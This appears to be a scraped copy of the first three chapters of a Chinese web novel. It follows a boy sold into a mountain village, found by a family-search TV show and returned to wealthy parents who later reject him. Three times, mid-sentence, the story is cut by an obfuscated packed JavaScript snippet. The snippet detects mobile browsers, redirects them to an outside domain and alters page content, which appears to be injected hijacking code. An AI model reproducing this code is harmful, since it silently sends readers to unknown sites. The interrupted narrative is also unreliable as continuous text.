《我是被拯救的悲情配角》
1. 第 1 章
前言.
如果说每个人的人生都是一条没有回程的单行道,那么在名为李卓的这条路上一共有两个岔路口。
第一个岔路口是在偏远山村生活十四年,一朝被寻亲节目找回的那天。
第二个岔路口是在一场宴会上,他被父母痛斥时,一位坐在楼上不知看了多久的宾客忽然出声问出那句:
“你们是不是不想要他了?”
他一步步走到几近崩溃的李卓身边,从口袋里抽出一条手帕仔细擦干净他脸上奶油与眼泪的混合物,温声开口道:
“他们不要你,我要你。”
“来做我的孩子吧。”
至此李卓的前路一片坦途。
*
2015年10月31日
李卓可能永远都不会忘记那一天,永远、永远都不会忘记。
那一群肩上扛着摄像机、衣领边别着收音话筒、衣着光鲜亮丽的城里人找到坪山村时,正是深秋的一个早晨。
当时还不叫李卓,叫杨顺的他正在后山的地里,晃晃荡荡担着两桶水,聚精会神地走在一条极窄极窄的小土路里,想去另一边给自己种的大白菜等蔬菜浇浇水。
倒不是他不想要更近点的地,也不是不想走更好走的路,只因为别的地都是有主的,哪怕荒废着,也不会让给他。杨顺能动的都是些没人看得上的荒地,既是没人要的,大多是些位置偏僻的边边角角。
他又是个懂礼貌的,从不随意横穿踩踏别人的田地,每次便只能走一些弯绕难走的曲折小路。荒地附近没有水源,每次挑水又要去很远,来来回回几趟下来,每次肩膀会留下明显的红印子,要疼很久。
他们当时叫了他五次还是六次吧,不太记得了,反正他一直没理会。
最开始几声是真没听到,后来倒听到了,但他打心底里没觉得这些一点当地口音都没有的普通话是在叫他。
毕竟那些城里人喊的是李卓啊。
谁是李卓?他可不认识。
寻亲节目组中最先冲上来的是一个脾气有点冲的年轻小伙子。
那人头发梳得整齐,穿一身整洁如新的西装,是一看就不像会出现在田地里的人。
不过才走一截山路而已,娇生惯养的城里人便气息不匀地喘着气,额头都是汗,皮鞋也沾满了泥巴,气势汹汹一把拽住了杨顺的扁担。
“李卓!你就是李卓吧?你怎么回事啊,怎么喊你这么久都不理人?你是没听到啊?还是他妈是聋子啊??!”
落后这个年轻人几步的是两个扛着黑色机器、戴黑色帽子的青年和一位约莫四十来岁的叔叔。
估计是看到前面的冲突,那位叔叔隔老远就开始劝止:“别冲动啊…”
再后面能看到远远坠着三四个男男女女。上山的路太不好走了,他们估计没怎么走过这样的路吧,走得很慢。
那位叔叔的态度就要好很多,到了跟前,他先是一把拽开那位年轻人,好声好气和杨顺道歉,说那人还在读大学,是来实习的。
说完还低声训斥了那个小年轻几句,无外乎到了他的地方得听他的规矩,再这样胡闹下去就可以直接走了,也不可能给他挂什么名的。
具体还说了什么,他当时没怎么听,只顾着把目光凝聚在自己少了一大半水的桶里。——真可惜,水怎么都浇给别人的田里了,他从那么远,那么辛苦挑来的水,等下又要重新挑了。
同时也幸灾乐祸的想着,这个不知道从哪来的城里人要倒霉咯。他居然踩到了别人的田诶!
没记错的话,那是住在村头刘家那个老头子的地,种的是青红辣椒,下种不久,才生出来的小嫩苗,就给踩坏了好多,这人肯定会被那个嗓门很大的老头子狠狠训斥的。
以前年仅几岁的杨顺不小心踩到都被骂了好几天呢。
——然而事实是,直到这群人离开,他们不止一次横穿田地,踩坏秧苗,还好几次还当着地主人的面,可没有一个地主人出来放一个屁。
说到底,他们就欺负他罢了。——严守规则的行为在不同领域上有不同解释,这种特质若放在一个大官身上,是普通人民之幸;若放在一个生存都艰难的底层人身上,就成了一种悲哀。
*
在得知这群格格不入的城里人就是来找自己的后,杨顺根本不相信。
“你们刚才说什么?”
杨顺看看他们一行人的穿着,再看看自己身上破烂的旧衣服,手掌粗粝的茧,裸露皮肤上随处可见新旧叠加的斑驳伤痕,还有那双摇摇欲坠快要分体的促销款打折凉鞋,简直就是两个世界的人啊。
“我不是李卓,你们找错了。”
这句话,杨顺一共重复了三次,一次比一次声音大,一次比一次慌乱。
“我叫杨顺…我不是李卓,我,我得去浇水了,昨天忙着干散活,没有浇水,今天必须得浇了,你们让开…”
其他人会如何应对突如其来的变故的,杨顺并不知道,反正他只知道自己那时脑子乱乱的。
一种难以言喻的复杂情绪在他的胸口膨胀、膨胀、再膨胀,像只怪兽在他的四肢百骸横冲直撞。
他感觉头晕脑胀,喉咙发紧,周围空气骤然稀薄…
那一刻他竟喘不过来气。
杨顺固执的挑起扁担,一步步沿着熟悉的曲折小路又稳又快的走着,到了地方又一如往常般机械的舀好水,使用腕力熟练的将水均匀撒透在土里。
他自顾自做自己的事,仿佛听不见身后那些叽叽喳喳的声音一般。
“你好,我们真不是骗子,是这样的,我们是电视台的,这是我的工作证你可以看看…”
“我姓关,我在拍一档寻亲类纪录片,找你之前就已经弄清楚了…”
杨顺将水桶里最后一瓢水撒进干涸的地里,正好还有小半是干的。
“诶诶你干嘛去啊?!你先停下,听我说,虽然你现在可能一时无法接受,也没法相信,但你真就是我们要找的李卓…”
杨顺拿着空桶回去打水。
这条路他走了不知多少遍,实在太熟悉了,节目组的人就不一样了。他们对路不熟悉,走得慢,尤其最开始冲上来那个年轻人,明明都已经那么大咧咧踩着别人的田了,居然还摔了一跤,起来后就气鼓鼓离开了!
城里人都这样笨吗?
当时的他可能这样想过。
落在后面几位男男女女被那位叔叔叫回去了,说这里有他就行,让他们回车里看着设备。
那个自称是导演的大叔明显比离开的年轻人走得稳些,但还是慢杨顺好几步。这边都都重新取好水了,他才慢一步跟上。
到了杨顺身边,关导特意拎了下水桶,感慨着:“嚯,还挺重的。”
杨顺不说话,只顾着闷头干活,给刚下种的地里一趟趟浇水;从枯枝落叶的掩蔽物下扒拉出自己藏的小篮子;从另一小块地里摘下一棵成熟的白菜,又蹲在路边认真掐了几把野菜。
他沉浸在自己的世界里,与身后喋喋不休的讲述声完全隔绝。
“十四年前的二零零一年,刚满一岁的你被家里一位姓陈的保姆带出去玩时弄丢了,保姆回家后和你父母说她只是上个厕所,一转身你就不见了…”
“你父母立刻报警,当时监控还没有大面积覆盖,查了许久才查到你最后出现在监控里是被一个戴着口罩,戴着棉织帽的陌生男人抱进一辆面包车…”
“由于那辆面包车的牌照被遮挡,你父母找了很久,终于找到车主时,他说车子被偷三个月了。想找偷车人线索,但车主住得偏僻,没监控,仅有的主干道监控因为时间超过期限,录像早被覆盖了,线索在这里又断了…”
“一直到去年过年时,祁连市警方和临安市联合抓获了好几个拐卖组织,里面有位成员为了争取减刑,在看守所主动交代了许多犯罪事实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988981|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,以及他所知道的其他人案情,其中就有你…”
“这时你父母才知道你当年不是走丢后被拐,而是被陈姓保姆以一千五百块的价格卖掉的,原因仅仅只因为你母亲因工作失误扣掉了她500块钱工资,她怀恨在心,想要报复才故意这样…”
“因为时间过去太远,中间你又被转了好几道手,我们从去年开始一直在找你,直到上个月才知道你在这里…”
“买你的那个人是姓杨对吗?”
“我们已经在村里打听清楚了,他瞎了一只眼,家里又穷,讨不着老婆,当时以3000块钱的价格从人贩子手中把你买下来…”
“李卓,你真的就是李卓啊…”
*
干完地里的活儿,杨顺背着背篓回到他的小破屋子,身后依旧跟着抗着摄像机的青年和那个胸口挂着工作证,领口别着听筒的中年人。
他们挺奇怪的,无论杨顺做什么,那个戴着帽子的青年总扛着一个黑色的机器对着他拍。
在他从院子里的水井里取出之前没吃完的剩菜时对着拍,在他喂鸡时对着拍,在他切菜时对着拍,连他劈柴,在土灶前生火时,也对着灶口噼里啪啦的柴火。
杨顺的饭食简单,把从地里摘回来的白菜冲吧冲吧洗干净,切成两半,一半切成细细的碎末拿来喂鸡,一半切成块状,混着不知道剩了几顿的剩菜糊糊一起炒软就算能吃了。
就是快要蒸米饭时,他犹豫了一会儿。最后还是默默走向破旧的小橱柜,从最里面拉出一个竹编篮,掀开上面盖着的蓝花布,先拿了一颗鸡蛋,想了想,转头看了下人数,又把整个篮子都拉出来了。
外面养的鸡崽是去年秋收时,他帮隔壁大队的一户人家干了好几天的活才换来的几只。
记得刚拿到手还是瘦瘦小小的,是他仔仔细细喂养大,下的蛋他平时舍不得吃,都是攒着拿去卖钱的。这已经是他能拿出来的最好的、用来招待客人的东西。
在等着饭熟的时间,像只陀螺一样转了一个上午的杨顺才终于闲了下来。
他坐在门口的石阶上,抬头看看头顶一如往常的蓝天白云,又看看院落里一群他并不认识的陌生男女,和不远处探头探脑观察这里的几个同乡邻里。
到了这时,他才终于不再把节目组一行人当做空气,正面回了一句:“真的吗?”
“什么真的?”这样没头没尾的一句话,让关导很茫然。
“你刚才说他们这些年一直很想我,说他们这些年一直都在找我,这是真的吗?”杨顺脸色依旧是之前的木然,他抿了抿干裂的唇,微微仰头,好像是在看天边刚飞过去的一只鸟,“那些话…都是真的吗?”
关导喜不自胜的接话:
“当然是真的啊!”
*
见他终于肯沟通了,节目组一窝全围了上来,有给他看他父母视频照片的,有给他看他以前小时候照片的,七嘴八舌,好不热闹。
“有了你的确切消息,我们立刻就开车往这边赶了,你父母还为你举办好了接风洗尘的宴会呢,他们……”
少年不接话,但明显很是期待地望向屋外的停着的几辆车子。
工作人员的声音越来越低,关导立刻补充上:“你父母他…他…他们忙着工作,所以这次没能跟着过来,等你回去就知道啦,他们也很想你的…”
一下其他人也跟着一起附和,
“是啊是啊…”
“你可是他们丢了十几年的儿子,怎么可能不想你啊。”
“还好现在找到了还不晚…”
杂乱的感慨中,关导小心问了一句之前的养父对他又如何?
杨顺脸上没有被夸赞的喜悦,也没有别的情绪,他整个人像被这份从天而降的巨大的惊喜给砸蒙了还没醒过来一般。
他耷拉着眼皮,尽量回避着那个直直对着他的黑色机器。
“还好吧,一般。”
2. 第 2 章
杨顺的生活没什么好说的,从记事起就在坪山村,和他住同一个屋檐下的、他曾以为是亲爹的男人叫杨来忠。
当然,平日里没什么人会叫这个名字,估计都很少有人会知道他的名字吧,村里村外提到他时都叫外号,杨独眼儿。——他有一只眼看不见。
农村是个大型熟人社会,平日里看着热闹,身处其中的人才知道,各村各队的确有温情,但不是谁都能享受到这份温情。
人丁兴旺的人家自然不会被欺负,势单力薄的人家则会成为其他人茶余饭后的谈资和时不时打趣的消遣。
这种谈论不一定带有很明显的侮辱性质,大多数都是说说笑笑的,看着不过讲几句无伤大雅的玩笑话而已嘛,但彼此心里都门儿清,没谁会拿村长的痛处开玩笑。
——很明显,杨来忠在坪山村的处境并不是很好。
杨来忠是家里老大,是几个兄弟中混得最没出息的一个。整个坪山村里的村民,谁都可以头头是道的教育他几句,哪怕当着他面嘲笑他,他还得赔着笑脸的跟着一起笑。
没人知道他为什么要买儿子,据村里那几个特别八婆的婶子说是因为杨忠来的幺弟为孩子在城里办满月酒,回来时其他人都笑他没儿子,他也不啃声。
酒席结束后的第四天早晨,天蒙蒙亮,杨来忠背着一个还在睡觉的小男孩绕着村子走了整整两圈,从早走到晚,逢人就炫耀:“快看,这是我儿子哩。”
男人对这个买来的儿子没有特别好,也没有特别差。
他小时候生了病,男人也会连夜带他去镇上的诊所开几块或十几块钱的药,但仅限于此,再不好只有拖。
没办法,条件就这样了。
杨顺从小是个懂事孩子,很小就知道帮着屋里干活,帮着洗衣服,帮着收拾屋里屋外,打整田里,乖得不行。
杨来忠没死前,偶尔一两次吧,干活回来的他心情好时会夸夸他,给他拿一颗廉价的、快化掉的水果硬糖。
这算对他好吗?
杨顺也不知道。
反正杨来忠死了。
男人死前还硬生生拖了快两年才死。——干活回来时,突然落雨,地太滑,没踩稳,整个人从坡里滚下来,摔了脊椎,瘫了。能怎么办?躺着呗。
杨顺那时刚上初中,要忙作业,要忙屋里要忙地里,还要日常照顾杨来忠,给他翻身擦身,给他喂饭,忍受他比平时更差的脾气,忙得他都没时间抱怨累了。
杨来忠死的那年,杨顺十三岁。
那天没什么特别的预兆,早上还在庆幸他安静不少,傍晚放学回来人就没了。杨顺看着一动不动的冰凉尸体,思索几秒后,转身去找村长,剩下流程是村委会在弄,他没过问。
杨来忠去世第三天,同村另一户人家把原本属于杨家的地给占了。名义上说得特别好听,说本来就是他们家的地,之前只是借给他们用而已。
打不过,争不过。
没办法,人家和县里一个小领导可是是亲戚关系哩。
至于为什么念完初中就不读书了?原因很简单,因为都这样。
不止杨顺这样,村里其他孩子都这样,没有幼儿园,小学在村上,中学在镇上,上完九年义务就出去打工。
毕业后杨顺也想出去打工的,只是他想多攒点钱,不然心里不踏实。
这大半年里,他不仅种地卖菜攒钱,也帮别人做散工赚钱,去过最远的地方是县里,有外地商人在开展销会时,他去做零时工。
攒啊攒啊,他都快把钱攒齐了呢。
“要攒多少钱?”
一个寻亲节目组的工作人员好奇道。
杨顺没有直接回答具体数目,而是反问了节目组一个问题:“你们进村时有没有看到两块很大的鱼塘?”
“嗯。”
“那家主人姓刘,家里三个孩子,两个大的毕业后和隔壁村好友去了广州打工,好像是服装厂?……村里还有一家的孩子去了深圳一家电子厂,过年回来时都提着大包小包的东西,我没想清楚去哪,之前在犹豫是广州还是深圳,别的地方我也不知道。”
杨顺捏着一块尖尖的石头在门口的石板写下一个个数字。
“从村里到镇上的班车是5块一趟,镇上到县里是28块,县客运站坐大巴到市里只要35块,但市里没有直达外省的火车,所以不能去市里,要先坐大巴到重庆,票是153块…”
“到了重庆就可以直达很多地方了,重庆到广州要坐二十个小时的火车,硬座票是180.5块,重庆到深圳也是接近20个小时,车票189.5…”
“如果我去广州,所有路费366.5,去深圳是375.5。嗯……这只是路费,路上的吃住都是未知数。还有我也不能确定到了就能找到工作,我要给自己最少留一个月的时间,他们都说外面消费很高,一碗面都要几十块,所以我更要给自己留更充裕的资金才行…”
“以前和我同一个班读书的王强,他出门打工时,家里给他拿了一千,不够家里人另外寄,我情况不同。我没有家人给我寄,所以得自己准备多点才行…”
“我的目标一千五百块,好的话两千,现在攒了一千零八十多了…”
“其实你们来的时间也巧,要再晚一两个月,估计我就要出去打工了。他们说过年的工资比平时高,我才想等那时才出去的…”
杨顺的语气平铺直叙,没有喜悦,没有悲伤,什么情绪都没有,眼神麻木得完全不像一个十五岁的青少年。
这些年他到底吃了多少苦啊。
在场的人哑然,尤其是离他最近的关导,眼眶明显红了,他深吸一口气,扭过头用衣袖擦了擦眼眶。
“好孩子,你以后不用这么辛苦了,给你说个好消息,你亲生父母很有钱的…”关导有心想尝试让气氛活跃起来,特意用神秘兮兮的语气道,“等你去了就知道了…”
节目组其他几个工作人员也附和着说是啊是啊,他们在都恭喜他终于找到家人,终于苦尽甘来了。
杨顺一句没附和,他丢开攥紧的石块,拍拍手掌的灰,起身朝着隔间的土灶走去。
跟拍的摄像小哥立刻跟上,少年声音是顺着米饭的香味一起飘来的。
“你们吃饭了吗?我刚煮了点鸡蛋羹,不嫌弃的话,一起吃点吧,屋里也没什么别的东西了…”
*
节目组在坪山村逗留了一天。
一来是杨顺要处理点家里的事,例如那十来只一看就养得极好的、胖乎乎的禽类、地里将收未收的菜、还有之前答应干活又不能去的零工散活等等;
二来节目组也想趁此机会拍摄一点杨顺生活了十几年的村子和他过往的生活,还特意对周围人进行了随机采访。
时间过得很快,快离开的前一天晚上,杨顺一夜没睡。他闭着眼睛,各种光怪陆离的画面在脑子里一幕幕闪过。
他想鸡已经卖了,想田里的熟了的菜都送人了,还有些日子的也都告诉张婆婆了,让她到时去摘。
他想之前说好的活儿,也特意和老板说过不去了,压的工钱在节目组的陪同下拿回来了,导演答应明天到城里让他先去买身新衣服…
还能有什么事?
哦,他的爸爸妈妈…
杨顺被拐时才一岁,就是再天赋异禀,也绝不可能记得那么早的记忆。
他开始费力回忆。
白天看过的关于父母的照片在脑海里转啊转,他实在无法控制自己不去想,原来他们长这样啊?
他们会喜欢自己吗?见面第一句话要说什么呢?要不要买点礼物?买什么好呢?他们好像很有钱,自己那点钱买不了什么好东西吧?
铺着稻草的床一翻身就能听到窸窸窣窣的细碎声响,这声音他听了十几年,早该听熟了,那是他第一次感觉被这点声音吵得睡不着。
来来回回烙煎饼一样翻了七八次,杨顺依旧还是没什么睡意,手心脚心乃至胸口处都烫得吓人。
这太不真实了,他甚至生出一种荒诞的想法,眼前的一切会不会只是一个梦,会不会只是他自己幻想出来的?一觉醒来就什么都没有了?
下一秒,他突然用力掐了下自己的大腿,嗯,痛觉是如此清晰,是真的。他安心地闭眼了。
第二天摄像小哥依旧一路跟拍。
从杨顺住的坪山村七队出去到一队村头有一截很难走的崎岖泥巴路,大约两公里,给车上的众人颠簸得不行,镜头同样也颠簸着。
有工作人员问杨顺平时怎么出去。
“你怎么过去啊?搭什么车?”
杨顺紧紧抓着车顶的把手,绷着一张脸,声音被颠出颤音:“家里有三轮的开三轮,我家没车,都是走路…”
糟糕的路况直到出了村才好点,道路从泥巴路到柏油马路,终于算进城了。
下了车,杨顺一心记着买新衣服,于是一行人浩浩荡荡的进了一家服装店。
试衣服时,关导发现杨顺虽然因为常年风吹雨淋皮肤有很多晒伤,乍一看很憔悴,但细看五官底子还是很不错的,唯一的问题是有点畏畏缩缩的。
这点他在很多农村孩子身上都能看到,可能是不自信,身子总习惯性地佝偻着,像一只受惊的刺猬。
那孩子更是如此,表面上绷着一张脸,竭力装出一副自己很凶的样子,但眼睛和表情还是泄露了他的真实想法。
他怕镜头,
怕到会刻意避开摄像师。
对这群城里来的陌生人,他很是警惕防备,同时又充满胆怯,开口讲话前还会观察他们的脸色,就仿佛他们都是会伤害他的陷阱一样。
双方接触快两天了,他才不再刻意回避镜头,才算对这群人稍微放下戒心,一点点显露出他这个年纪该有的青春活泛。
“怎么样?”从试衣间出来的杨顺看向关
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988982|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
导,虽然紧绷着脸,但还是能看出他有点不自信,声音像蚊子哼哼一样,“这样看着会不会很奇怪啊。”
他从里到外都换了一套,新外套是一套黑色运动服,他将拉链拉到最顶端,几乎遮住了大半张口鼻,整体看起来还挺不错,是他自己太腼腆了。
“哪里奇怪?一点都不奇怪啊!多俊一小伙子啊,你们说是不是?”
关导自己夸完还不算,又特意转头询问其他工作人员,而后者当然没一个说不的,都连连称好。
*
后续一路无事。
那是杨顺人生第一次坐飞机,整个过程又新奇又新鲜,坐上飞机后,他保持同一个动作望着窗外看外面软乎乎的白云看了很久很久。
村子外面的世界,果然很大。
这份新奇中伴随着紧张,关导开始和他闲聊一些别的,时不时聊他儿子干的那些事,再时不时聊之前在坪山村的事儿。
就这么天南海北的聊啊聊,机上的抵达广播响起时,关导再次轻轻拍拍杨顺的手背:“放心吧,没事的没事的…”
少年原本抓着背包的手松懈了几秒,真心实意朝着关导笑笑:“…谢谢您。”
在节目组的镜头下,一岁多就被拐卖至偏僻大山的少年终于在机场贵宾休息室见到了阔别十四年的亲生父母。
刚见面时,杨顺明显有些生疏,镜头里的他整个人僵在原地一动不动,任由一个雍容华贵的妇人眼眶通红的将他搂入怀中,不断说着当初是怎么把他弄丢了,说那个保姆已经坐牢了,说以为再也见不到他了,说好想他,说她经常做梦见他…
一旁中年男人虽没在镜头里露脸,但也能听到他在温声劝慰着:“好了好了,回来了就好…你别吓到小卓了。”
摄像小哥精准捕捉到了杨顺的一系列的表情变化,从刚被亲生母亲抱住的茫然无措到逐渐动容,到眼眶里的泪一点点蓄满,不堪重负溢出,最后再小心翼翼的回抱住了妇人,宛如瞬间从之前那个拒人千里之外的刺猬变回委屈的稚童,颤声叫了一句妈妈…
真是一副好感人的画面,几个工作人员忍不住背过身擦起了眼泪,关导更是取下眼镜擦了擦上面的雾气。
李家人旁边还站着一位同样衣着不菲的年轻青年,没有漏脸,但据介绍是他的哥哥,一直笑吟吟地看向弟弟。
杨顺被接回家了。
上车前他哥主动提行李,父亲开车,母亲拉着杨顺坐到了后排,一路都紧紧握着他的手。
节目组的摄像为了不打扰一家人独处,并没有挤上车,只在车后跟拍着。
目的地是一处均价贵得令人咋舌的豪宅,节目组的年轻人都忍不住感慨。
镜头再一转,杨顺坐在李家的真皮沙发上,头顶是华丽的水晶吊灯,底下几位穿着统一制服的家佣无声无息地端着茶饮点心一样样摆在茶几上。
哪怕已经换了一身新衣服,但看起来依旧灰扑扑的、山沟沟里来的小土包子就这么被簇拥着,目光不断打量着这个对他来说本该熟悉却又无比陌生的家,新奇又忐忑。
十四年没见的母亲对他温声关心道:“小卓一路上一定饿了吧?晚上想吃点什么?妈妈这几天哪也不去,就在家陪你…”
导演也在一旁宽慰:“别紧张,放松一点,这里就是你自己的家啊…”
少年一路上绷着的脸在那一刻终于有了点他这个年纪该有的情绪波动,开始大着胆子观察“自己的家”。
“谢谢你们。”
*
寻亲节目到这就算落下尾声了。
后期组贴心的给这幅家人团聚的画面加上了一层暖色滤镜,连字幕都是花体的:【最后的最后,这位流落他乡十四年的孩子终于回到了真正的家,迎接他的将是一个温暖的崭新未来…】
但…真的是这样吗?
作为一个系列节目,寻亲节目的主人公并不只有李卓一个人,但或许因为他狗血的身世,也或许因为别的,他的这期节目比别期都要火点。
几乎每个看过节目的观众都发自内心的认为当失散多年的孩子被找回时,父母一定会如珠似宝的疼爱孩子,会想尽办法去弥补过去失去的爱…
评论区的网友呼朋唤友,插科打诨:
【别说,当时镜头一转过去,我一眼看出他不是普通农家孩子(狗头)】
【少爷快哭吧,快趁着现在多哭一会儿,不然以后可有你笑的时候…】
【那环境可太熟了,我老家也差不多这样,交通靠走,通讯靠吼,不过我刚才逼问了我爸半天,他死活非不承认我是他买来的,哎…】
【上期主人公被找回来都中年岁了,再哭也没用,这个主人公才15?人生才刚开始,算不幸中的万幸吧,还可以回家过成人礼啊,真老天送的礼物啊…】
【不知道小少爷现在在干嘛…】
【估计正享受惬意人生呢。】
【……】
3. 第 3 章
杨顺,噢不对,他现在户口本和身份证上的名字应该叫李卓才对。
犹记在刚改名字的头两个星期里,别人叫李卓时,他总是慢半拍,完全没有一点这个名字是在叫自己的意识。
后来日子久了,习惯成了自然,再被叫李卓时,他也会下意识抬头。
时间过得可真快啊,改名字拿新身份证的那天似乎就在昨天,李卓依旧能清楚记得当天所发生的点点滴滴。
那是一个阳光灿烂得近乎刺眼的日子,一大早,父母便陪他去了办事处,路上三个人还拍了一张全家福。
在摄影师的指挥下,第一次穿定制正装的他手足无措地被亲生父母簇拥在中间,随着“咔擦”一声,幸福的画面就此定格。
傍晚回家时,李卓坐在车后座晕晕欲睡,手里紧紧攥着新拍的照片,听着前面父母交谈着关于自己生日宴会筹备的声音,心里泛着无法言说的甜蜜,觉得自己真的可以这么幸福吗。
他在心里悄悄的念叨:
好开心,好开心…
新证件到的晚上,李卓躺在柔软的大床上,举着证件,用指腹反反复复磨损着新名字,手上摸索一次,心里默念一次,脸上再乐呵呵的傻笑一次。
他想着以前的那些都已经过去了,一定要忘掉那些,开始一段新生活!
只可惜啊,那时躺在床上傻乐的李卓一定做梦也想不到,自己梦寐以求的新生活并没有维持多久便破碎了。
当然,有一点必须得承认,例如在在刚回李家的头半年里,李卓的父母的确对他充满了愧疚。
他们一股脑想要弥补错过十几年的爱,给他买各种他听都没听过的昂贵礼物,每天都陪着他吃饭,带他出去玩,带他去各种场合介绍给大家等等…
但众所周知,任何感情都是有保鲜期的,在最初那段浓烈的愧疚期过去后,他们自然而然地开始对李卓提出相应的要求,开始不断挑剔李卓身上的毛病…
他们说…
说…
说什么来着?
有点记不太清了。
李卓的意识像一团打结的毛线,怎么理也理不清,反而越理越乱。
那些密密麻麻缠着一起的黑色线条似拥有生命般,不断蠕动着,灵活地自李卓的脚腕盘旋而上,将他缠得严严实实,它们争前恐后的想要吞没李卓。
他只觉得自己快要窒息了。
“别紧张,放轻松…嗯对…慢慢呼吸…慢慢呼吸,没事的没事的…”
耳畔传来一道温和的声音,下一秒,李卓无意识紧紧攥着的手被身旁的男人轻柔地一根一根掰开。
注意到少年手心处被指甲深深嵌入掐出来的红痕后,男人一顿,涂药的动作更加小心翼翼了。
“不愿意想就不想了…”
“那些都不是什么要紧的事…”
当那股温热感自手背处一点点蔓延至臂膀时,李卓发现自己居然在不停地颤抖。不知什么时候,坐对面的男人到了他的身旁,轻轻环住了他的肩膀。
“我们今天就说到这,好吗?”
“……”
李卓呆呆地抬头看着旁边戴细框眼镜的斯文男人,又缓慢转头看了眼周围的环境。
这是一间装潢还不错的办公室,整体色调淡雅,有一整面书柜,随便扫一眼,里面书籍涉猎极广。
崭新的木质办公桌上有一台处于关闭状态的电脑,他自己正坐在休息区的布艺沙发上,面前一块长方形的茶几,空调吹出的冷风掀动着墙角的绿植。
李卓像一台年代久远的老电脑,用最缓慢的速度开机后,桌面文件还没缓冲过来,在一片空白中,他迟钝地想着:我是谁,我在哪,我在做什么?
过了好一会儿,李卓后知后觉反应过来自己的处境,他现在正在学校心理咨询室里,对面是心理老师。
他的视线落到男人胸口的名牌:
——【心理辅导老师:莫良】
“你现在看起来状态不太对,我们今天就先聊到这,好吗?”
莫老师贴心地又重复了一遍刚才的话,“别担心同学,我们还有很多时间,只要你想和我说话,什么时候找我都可以…”
李卓完全不记得自己是怎么来的心理咨询室,他脑子里的记忆混乱得很,甚至都不记得今天他是怎么来的学校。
好像是吃完午饭回教室的路上在走廊遇到莫老师,他和自己主动搭话,说什么他现在看起来很糟糕,问还好吗?
然后他就稀里糊涂来了?在莫老师的询问下,莫名其妙地讲了很多过去?
他不记得自己有多久没有一口气说这么多话了?
忘了。
过往纷乱的回忆,现实糟心的处境,如同一团被浸透的湿棉花,严严实实地塞在胸口,他喘不过来气,却不知道和谁说这些,也不知道怎么说。
他自己也不知道为什么会突然就和一个陌生的老师这些,是因为莫老师的咨询室布置得很温馨吗?
正如他这个人一样,明明个子很高,但一点不会给人造成压迫感。
他相貌儒雅,鼻梁上架着一副细框眼镜,唇边总挂着一抹温和的笑,似乎浑身上下每处细节都在拼命告诉李卓:
他是无害的,绝不会伤害他。
莫老师的手心温热,望向李卓的眼神理里充满了怜惜,就好像他是什么需要被好好呵护的易碎品一般。
很容易给李卓一种,无论自己说什么废话,他都会耐心地听着,无论自己做什么傻事,他都会理解。
就,就…
很像一张温暖的毛毯?
可以把一个人形容成毛毯吗?文化成绩一般的李卓也不知道。
*
“来,喝点水。”
李卓捧着莫良递过来的白瓷水杯。
或许是混沌的脑子还没完全清醒,余光处竟瞥见茶几下方的地板处扭曲成一团不明物体,眨眼间又恢复了正常。
“怎么了?”
李卓确认自己应该是眼花了,他克制地抿了两口水,缓和心情:“谢谢老师,我感觉现在好多了。”
倾诉的感觉真的很舒服,尤其是对方还是一个很合格的倾听者时。
李卓能明显感觉自己胸口处那团湿棉花似乎被拧出了些水份,那种无法呼吸的窒息感陡然减轻了不少。
好轻松啊,他突然又有了想说点什么的欲.望。
“莫老师应该听过我的事或者看过我的节目吧?肯定的…”李卓双手捧着水杯,耷拉着眼皮,将视线集中在水杯的边缘,“从有记忆开始,我就生活在山里,老师你一定不知道那儿有多落后…”
莫良没有讲话,他知道李卓此时也不需要自己的回答,他最应该做的是闭嘴,认真倾听。
“我看过一些网友的评论,他们都觉得我之前生活在那样的地方,一定很恨,但没有的…”
“对当时的我来说,我从没想过为什么自己过这样的生活,因为有记忆开始就是这样的生活…”
“周遭认识的人都过这样的日子,所以我对于未来的想法也就是和其他人一样,初中毕业后去外面打工,浑浑噩噩活着…可突然有一天,人生全变了,我才知道原来我本来不该这样…”
“其实我刚回来时,他们对我挺好的,真的特别好,给我买了很多礼物,我这辈子没见过那么多好东西…”
“对了,老师你肯定不知道吧?我原来的皮肤可黑了,手上啊,脸上啊,有特别多的那种疤痕,是以前干农活时不小心磕碰到的,很粗糙…”
“后来妈妈经常带我去一个地方,每周都做什么护理,每天涂涂抹抹好多我也叫不上来名字的东西后,现在我和以前完全不像了…”
“……”
“他们对我挺好的,是我太笨,是我没有达到他们的要求,让他们失望了,所以才嫌弃我的…”
嫌弃他带地方口音的蹩脚普通话
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988983|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,嫌弃他糟糕的生活习惯,嫌弃他听不懂言外之意的迟钝性格,还有畏畏缩缩总下意识佝偻的背等等…
